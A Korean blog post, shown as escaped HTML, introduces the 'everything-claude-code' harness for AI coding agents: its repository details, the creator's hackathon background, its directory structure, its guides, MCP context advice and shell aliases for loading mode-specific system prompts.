&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트의 성능을 체계적으로 끌어올리는 통합 시스템이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;836&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbSdRo/dJMcaco5xLh/QIFhfUNebjPYmUu19zSJj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbSdRo%2FdJMcaco5xLh%2FQIFhfUNebjPYmUu19zSJj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;836&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;836&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;에이전트 하네스(Agent Harness)&quot;란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;테스트 하네스가 테스트 환경을 제어하듯, &lt;b&gt;에이전트 하네스&lt;/b&gt;는 AI 에이전트의 입력(프롬프트, 규칙), 출력(훅, 검증), 도구 접근(권한)을 체계적으로 관리하는 외부 프레임워크를 말한다. &lt;br /&gt;ECC는 스스로를 &quot;에이전트 하네스 성능 최적화 시스템&quot;이라고 정의한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7m6U6/dJMb996XV3G/KLzPYB6AoKiKhRtb37d0Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7m6U6%2FdJMb996XV3G%2FKLzPYB6AoKiKhRtb37d0Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1556&quot; height=&quot;850&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/affaan-m/everything-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/affaan-m/everything-claude-code&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Stars&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;133,000+ (2026년 4월 3일 GitHub 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;npm 패키지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ecc-universal&lt;/code&gt; (v1.9.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라이선스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지원 플랫폼&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code, Codex, Cursor, OpenCode, Antigravity, Gemini CLI(실험적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;웹사이트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://ecc.tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ecc.tools&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic 해커톤 우승 배경&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자 Affaan Mustafa는 &lt;b&gt;2025년 9월 Anthropic x Forum Ventures 해커톤&lt;/b&gt;(NYC)에서 우승한 바 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀원 @DRodriguezFX와 함께 8시간 만에 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://zenith.chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;zenith.chat&lt;/a&gt;를 Claude Code만으로 구축하여 1위를 차지했다. 제작자 개인 사이트 기준 약 75명 참가자 중 1위이며, &lt;b&gt;API 크레딧(제작자 자기 주장 기준 $15,000 상당)&lt;/b&gt;을 수상했다.&lt;/p&gt;
&lt;small style=&quot;color: #666;&quot;&gt;참가자 수와 상금은 공식 행사 페이지에 금액 미기재. 출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://affaanmustafa.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;제작자 개인 사이트&lt;/a&gt; / &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.forumvc.com/forum-ventures-x-anthropic-ai-hackathon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Forum Ventures 공식 페이지&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 2026년 2월 &lt;b&gt;Cerebral Valley x Anthropic 해커톤&lt;/b&gt;에서는 보안 스캐너인 AgentShield를 개발했다. 이 두 해커톤의 경험과 10개월 이상의 Claude Code 집중 사용 노하우가 ECC에 녹아 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;검증된 출처&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;해커톤 우승 사실은 God of Prompt(@godofprompt)의 X 포스트, Medium 기사(Joe Njenga), Dev Genius 기사(JP Caparas), Forum Ventures 공식 사이트 등 다수의 독립 출처에서 확인된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 주목해야 하는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 단순한 CLAUDE.md 설정 모음과 다른 점은 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;통합 시스템:&lt;/b&gt; 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적으로 연동되는 피드백 루프 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;크로스 플랫폼:&lt;/b&gt; Claude Code뿐 아니라 Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;12개 언어/생태계:&lt;/b&gt; TypeScript, Python, Go, Rust, Java, Kotlin, Swift, C++, PHP, Perl 등 폭넓은 언어/프레임워크 규칙과 리뷰어 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자가 학습:&lt;/b&gt; Continuous Learning v2로 세션에서 패턴을 자동 학습하여 스킬로 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 내장:&lt;/b&gt; AgentShield 보안 스캐너와 종합 보안 가이드 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 프로젝트 구조 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 프로젝트 전체 구조&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디렉토리 구성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 전체 프로젝트 구조는 다음과 같다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;everything-claude-code/
├── agents/           # 36개 전문 서브에이전트 (Markdown + YAML)
├── skills/           # 151개 워크플로우 스킬
├── commands/         # 68개 레거시 슬래시 엔트리
├── hooks/            # hooks.json &amp;mdash; 자동화 훅 설정
├── rules/            # 코딩 규칙 (common/ + 12개 언어/생태계)
├── contexts/         # 동적 시스템 프롬프트 (dev, review, research)
├── examples/         # CLAUDE.md 예제 (SaaS, Go, Django, Laravel, Rust)
├── mcp-configs/      # MCP 서버 설정 모음
├── schemas/          # 10개 JSON 스키마
├── scripts/          # CLI 도구 (ecc.js, claw.js, doctor.js 등)
├── docs/             # 번역 (한국어, 일본어, 중국어 등 6개 언어)
├── .claude/          # Claude Code 설정
├── .claude-plugin/   # Claude Code 플러그인 메타데이터
├── .codex/           # OpenAI Codex 지원
├── .codex-plugin/    # Codex 플러그인 메타데이터
├── .cursor/          # Cursor IDE 지원
├── .opencode/        # OpenCode 지원
├── .gemini/          # Gemini CLI 지원 (실험적)
├── the-shortform-guide.md   # 핵심 가이드
├── the-longform-guide.md    # 고급 가이드
└── the-security-guide.md    # 보안 가이드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 구성요소 한눈에 보기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3r4ZG%2FdJMcacvSl72%2F57Ttnro2O8Xtftmheqcbp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1530&quot; height=&quot;830&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구성요소&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수량&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Agents&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;36&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;특화된 서브에이전트 (planner, code-reviewer, security-reviewer 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Skills&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;151&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도메인별 워크플로우 정의 (TDD, 보안 리뷰, 프레임워크 패턴 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Commands&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;68&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;레거시 슬래시 엔트리 (/plan, /tdd, /code-review 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Hooks&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;25+&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;7개 이벤트 타입에 걸친 자동화 트리거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Rules&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;34+&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;공통 규칙 + 12개 언어/생태계별 코딩 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP Configs&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;여러 개&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사전 구성된 MCP 서버 템플릿/설정 모음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 3대 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 3대 가이드 &amp;mdash; Shortform / Longform / Security&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC에는 세 개의 핵심 가이드 문서가 포함되어 있다. 제작자는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Shortform Guide를 가장 먼저 읽을 것&lt;/b&gt;&lt;/span&gt;을 권장한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAos5O%2FdJMcai3Qvqe%2FXxGxLjA21VolLdd2QzKze0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;828&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Shortform Guide &amp;mdash; 기본기 다지기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;전체 구조를 잡는 데 가장 중요한 문서다. 다음 핵심 개념을 다룬다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Skills &amp;amp; Commands:&lt;/b&gt; &lt;code&gt;~/.claude/skills/&lt;/code&gt;에 저장되는 워크플로우 정의. 코드맵(codemap)을 포함하여 Claude가 컨텍스트 소모 없이 코드베이스를 탐색할 수 있게 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Hooks:&lt;/b&gt; 다양한 훅 타입(PreToolUse, PostToolUse, SessionStart, Stop, PreCompact 등)으로 도구 호출 전후에 자동 실행되는 스크립트. ECC의 hooks.json은 7개 이벤트 타입을 활용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Subagents:&lt;/b&gt; 제한된 범위와 도구 권한을 가진 위임 프로세스. 메인 에이전트의 컨텍스트를 절약한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rules &amp;amp; Memory:&lt;/b&gt; &lt;code&gt;.claude/rules/&lt;/code&gt;에 모듈별로 구성된 규칙 파일(보안, 코딩 스타일, 테스팅, Git 워크플로우 등).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCPs:&lt;/b&gt; 외부 서비스 연결. 단, 컨텍스트 윈도우에 미치는 영향을 주의해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP 컨텍스트 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자의 경고: &quot;200K 컨텍스트 윈도우가 MCP 도구가 너무 많으면 실제로는 70K밖에 안 될 수 있다.&quot;&lt;br /&gt;&lt;b&gt;권장:&lt;/b&gt; 20~30개 설정하되, 동시 활성화는 10개 미만, 활성 도구는 80개 미만으로 유지한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자의 실제 셋업도 공개되어 있다. 14개 MCP 서버를 설정하되 프로젝트당 5~6개만 활성화하고, 커스텀 훅으로 포맷팅, 타입체크, console.log 경고 등을 자동화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Longform Guide &amp;mdash; 고급 패턴&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Shortform을 읽은 뒤 진행하는 심화 가이드다. 핵심 내용:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;MCP를 CLI로 대체하기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub, Supabase, Vercel 등 많은 MCP는 기존 CLI를 래핑한 것에 불과하다. MCP 대신 CLI를 직접 사용하는 스킬/커맨드를 만들면 &lt;b&gt;토큰 비용을 절감&lt;/b&gt;할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;동적 시스템 프롬프트 주입&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md에 모든 것을 넣는 대신, &lt;code&gt;--system-prompt&lt;/code&gt; 플래그로 상황에 맞는 컨텍스트를 동적으로 주입한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 개발 모드
alias claude-dev='claude --system-prompt &quot;$(cat ~/.claude/contexts/dev.md)&quot;'

# 코드 리뷰 모드
alias claude-review='claude --system-prompt &quot;$(cat ~/.claude/contexts/review.md)&quot;'

# 리서치 모드
alias claude-research='claude --system-prompt &quot;$(cat ~/.claude/contexts/research.md)&quot;'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;서브에이전트 모델 라우팅&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작업 유형에 따라 적절한 모델을 선택하여 비용을 최적화한다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 작업의 복잡도에 따라&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;848&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsTVUz%2FdJMcadhdDhZ%2FkkmFM9JoTeHxASi6MMs9SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;848&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;848&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비용과 성능에 따라&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNmVX3%2FdJMcaadKnRl%2FudYN9zADj3lnmf3zEVeMf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1454&quot; height=&quot;774&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

